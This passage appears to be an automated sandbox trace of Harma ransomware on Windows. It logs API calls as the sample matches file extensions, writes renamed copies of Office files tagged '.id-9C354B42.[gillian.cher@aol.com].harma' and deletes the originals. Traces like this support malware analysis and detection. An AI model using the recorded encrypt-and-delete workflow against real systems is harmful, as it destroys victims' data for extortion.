lpString2=".HXT") returned 1 [0153.767] lstrlenW (lpString=".bz2") returned 4 [0153.767] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0153.767] lstrlenW (lpString=".7z") returned 3 [0153.767] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0153.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.768] lstrlenW (lpString=".dbf") returned 4 [0153.768] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0153.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.768] lstrlenW (lpString=".1cd") returned 4 [0153.768] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0153.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.768] lstrlenW (lpString=".jpg") returned 4 [0153.768] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0153.768] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0153.768] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16 [0153.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.769] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=111) returned 1 [0153.769] CloseHandle (hObject=0x348) returned 1 [0153.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 0x20 [0153.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.769] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.770] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.770] GetLastError () returned 0x0 [0153.770] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x6f, lpOverlapped=0x0) returned 1 [0153.771] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x70, lpOverlapped=0x0) returned 1 [0153.772] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.772] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0153.772] SetEndOfFile (hFile=0x384) returned 1 [0153.772] CloseHandle (hObject=0x384) returned 1 [0153.772] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.772] SetEndOfFile (hFile=0x348) returned 1 [0153.775] CloseHandle (hObject=0x348) returned 1 [0153.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 1 [0153.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.776] lstrlenW (lpString=".doc") returned 4 [0153.776] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0153.776] lstrlenW (lpString=".docx") returned 5 [0153.776] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0153.776] lstrlenW (lpString=".pdf") returned 4 [0153.776] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0153.776] lstrlenW (lpString=".xls") returned 4 [0153.776] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0153.776] lstrlenW (lpString=".xlsx") returned 5 [0153.776] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0153.776] lstrlenW (lpString=".ppt") returned 4 [0153.776] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0153.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.776] lstrlenW (lpString=".zip") returned 4 [0153.776] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0153.776] lstrlenW (lpString=".rar") returned 4 [0153.776] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0153.776] lstrlenW (lpString=".bz2") returned 4 [0153.776] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0153.776] lstrlenW (lpString=".7z") returned 3 [0153.776] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0153.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.776] lstrlenW (lpString=".dbf") returned 4 [0153.776] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0153.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.776] lstrlenW (lpString=".1cd") returned 4 [0153.776] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0153.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.777] lstrlenW (lpString=".jpg") returned 4 [0153.777] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0153.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.777] lstrlenW (lpString=".doc") returned 4 [0153.777] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0153.777] lstrlenW (lpString=".docx") returned 5 [0153.777] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0153.777] lstrlenW (lpString=".pdf") returned 4 [0153.777] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0153.777] lstrlenW (lpString=".xls") returned 4 [0153.777] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0153.777] lstrlenW (lpString=".xlsx") returned 5 [0153.777] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0153.777] lstrlenW (lpString=".ppt") returned 4 [0153.777] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0153.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.777] lstrlenW (lpString=".zip") returned 4 [0153.777] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0153.777] lstrlenW (lpString=".rar") returned 4 [0153.777] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0153.777] lstrlenW (lpString=".bz2") returned 4 [0153.777] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0153.777] lstrlenW (lpString=".7z") returned 3 [0153.777] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0153.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.778] lstrlenW (lpString=".dbf") returned 4 [0153.778] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0153.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.778] lstrlenW (lpString=".1cd") returned 4 [0153.778] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0153.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0153.778] lstrlenW (lpString=".jpg") returned 4 [0153.778] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0153.778] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0153.778] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16 [0153.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.778] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=110) returned 1 [0153.778] CloseHandle (hObject=0x348) returned 1 [0153.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 0x20 [0153.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.779] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.779] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.780] GetLastError () returned 0x0 [0153.780] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x6e, lpOverlapped=0x0) returned 1 [0153.780] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x70, lpOverlapped=0x0) returned 1 [0153.781] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.781] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0153.781] SetEndOfFile (hFile=0x384) returned 1 [0153.782] CloseHandle (hObject=0x384) returned 1 [0153.782] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.782] SetEndOfFile (hFile=0x348) returned 1 [0153.784] CloseHandle (hObject=0x348) returned 1 [0153.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 1 [0153.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.785] lstrlenW (lpString=".doc") returned 4 [0153.785] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0153.785] lstrlenW (lpString=".docx") returned 5 [0153.785] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0153.785] lstrlenW (lpString=".pdf") returned 4 [0153.785] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0153.785] lstrlenW (lpString=".xls") returned 4 [0153.785] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0153.785] lstrlenW (lpString=".xlsx") returned 5 [0153.785] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0153.785] lstrlenW (lpString=".ppt") returned 4 [0153.785] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0153.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.785] lstrlenW (lpString=".zip") returned 4 [0153.785] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0153.785] lstrlenW (lpString=".rar") returned 4 [0153.785] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0153.785] lstrlenW (lpString=".bz2") returned 4 [0153.785] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0153.786] lstrlenW (lpString=".7z") returned 3 [0153.786] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0153.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.786] lstrlenW (lpString=".dbf") returned 4 [0153.786] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0153.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.786] lstrlenW (lpString=".1cd") returned 4 [0153.786] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0153.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.786] lstrlenW (lpString=".jpg") returned 4 [0153.786] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0153.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.786] lstrlenW (lpString=".doc") returned 4 [0153.786] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0153.786] lstrlenW (lpString=".docx") returned 5 [0153.786] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0153.786] lstrlenW (lpString=".pdf") returned 4 [0153.786] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0153.786] lstrlenW (lpString=".xls") returned 4 [0153.786] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0153.786] lstrlenW (lpString=".xlsx") returned 5 [0153.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0153.786] lstrlenW (lpString=".ppt") returned 4 [0153.786] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0153.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.786] lstrlenW (lpString=".zip") returned 4 [0153.786] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0153.786] lstrlenW (lpString=".rar") returned 4 [0153.786] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0153.786] lstrlenW (lpString=".bz2") returned 4 [0153.787] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0153.787] lstrlenW (lpString=".7z") returned 3 [0153.787] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0153.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.787] lstrlenW (lpString=".dbf") returned 4 [0153.787] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0153.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.787] lstrlenW (lpString=".1cd") returned 4 [0153.787] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0153.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0153.787] lstrlenW (lpString=".jpg") returned 4 [0153.787] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0153.787] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0153.787] lstrlenW (lpString="HVAC.VSL") returned 8 [0153.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.236] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=36200) returned 1 [0154.236] CloseHandle (hObject=0x384) returned 1 [0154.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 0x20 [0154.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.594] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.594] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.595] GetLastError () returned 0x0 [0154.595] ReadFile (in: hFile=0x364, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x8d68, lpOverlapped=0x0) returned 1 [0154.636] WriteFile (in: hFile=0x374, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x8d70, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x8d70, lpOverlapped=0x0) returned 1 [0154.638] ReadFile (in: hFile=0x364, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.638] WriteFile (in: hFile=0x374, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0154.638] SetEndOfFile (hFile=0x374) returned 1 [0154.638] CloseHandle (hObject=0x374) returned 1 [0154.638] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.638] SetEndOfFile (hFile=0x364) returned 1 [0154.641] CloseHandle (hObject=0x364) returned 1 [0154.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 1 [0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.642] lstrlenW (lpString=".doc") returned 4 [0154.642] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0154.642] lstrlenW (lpString=".docx") returned 5 [0154.642] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0154.642] lstrlenW (lpString=".pdf") returned 4 [0154.642] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0154.642] lstrlenW (lpString=".xls") returned 4 [0154.642] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0154.642] lstrlenW (lpString=".xlsx") returned 5 [0154.642] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0154.642] lstrlenW (lpString=".ppt") returned 4 [0154.642] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.642] lstrlenW (lpString=".zip") returned 4 [0154.642] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0154.642] lstrlenW (lpString=".rar") returned 4 [0154.642] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0154.642] lstrlenW (lpString=".bz2") returned 4 [0154.643] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0154.643] lstrlenW (lpString=".7z") returned 3 [0154.643] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.643] lstrlenW (lpString=".dbf") returned 4 [0154.643] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.643] lstrlenW (lpString=".1cd") returned 4 [0154.643] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.643] lstrlenW (lpString=".jpg") returned 4 [0154.643] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.643] lstrlenW (lpString=".doc") returned 4 [0154.643] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0154.643] lstrlenW (lpString=".docx") returned 5 [0154.643] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0154.643] lstrlenW (lpString=".pdf") returned 4 [0154.643] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0154.643] lstrlenW (lpString=".xls") returned 4 [0154.643] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0154.643] lstrlenW (lpString=".xlsx") returned 5 [0154.643] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0154.643] lstrlenW (lpString=".ppt") returned 4 [0154.644] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.644] lstrlenW (lpString=".zip") returned 4 [0154.644] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0154.644] lstrlenW (lpString=".rar") returned 4 [0154.644] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0154.644] lstrlenW (lpString=".bz2") returned 4 [0154.644] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0154.644] lstrlenW (lpString=".7z") returned 3 [0154.644] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.644] lstrlenW (lpString=".dbf") returned 4 [0154.644] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.644] lstrlenW (lpString=".1cd") returned 4 [0154.644] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0154.644] lstrlenW (lpString=".jpg") returned 4 [0154.644] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0154.644] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0154.644] lstrlenW (lpString="HVACDUCT.VRD") returned 12 [0154.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft 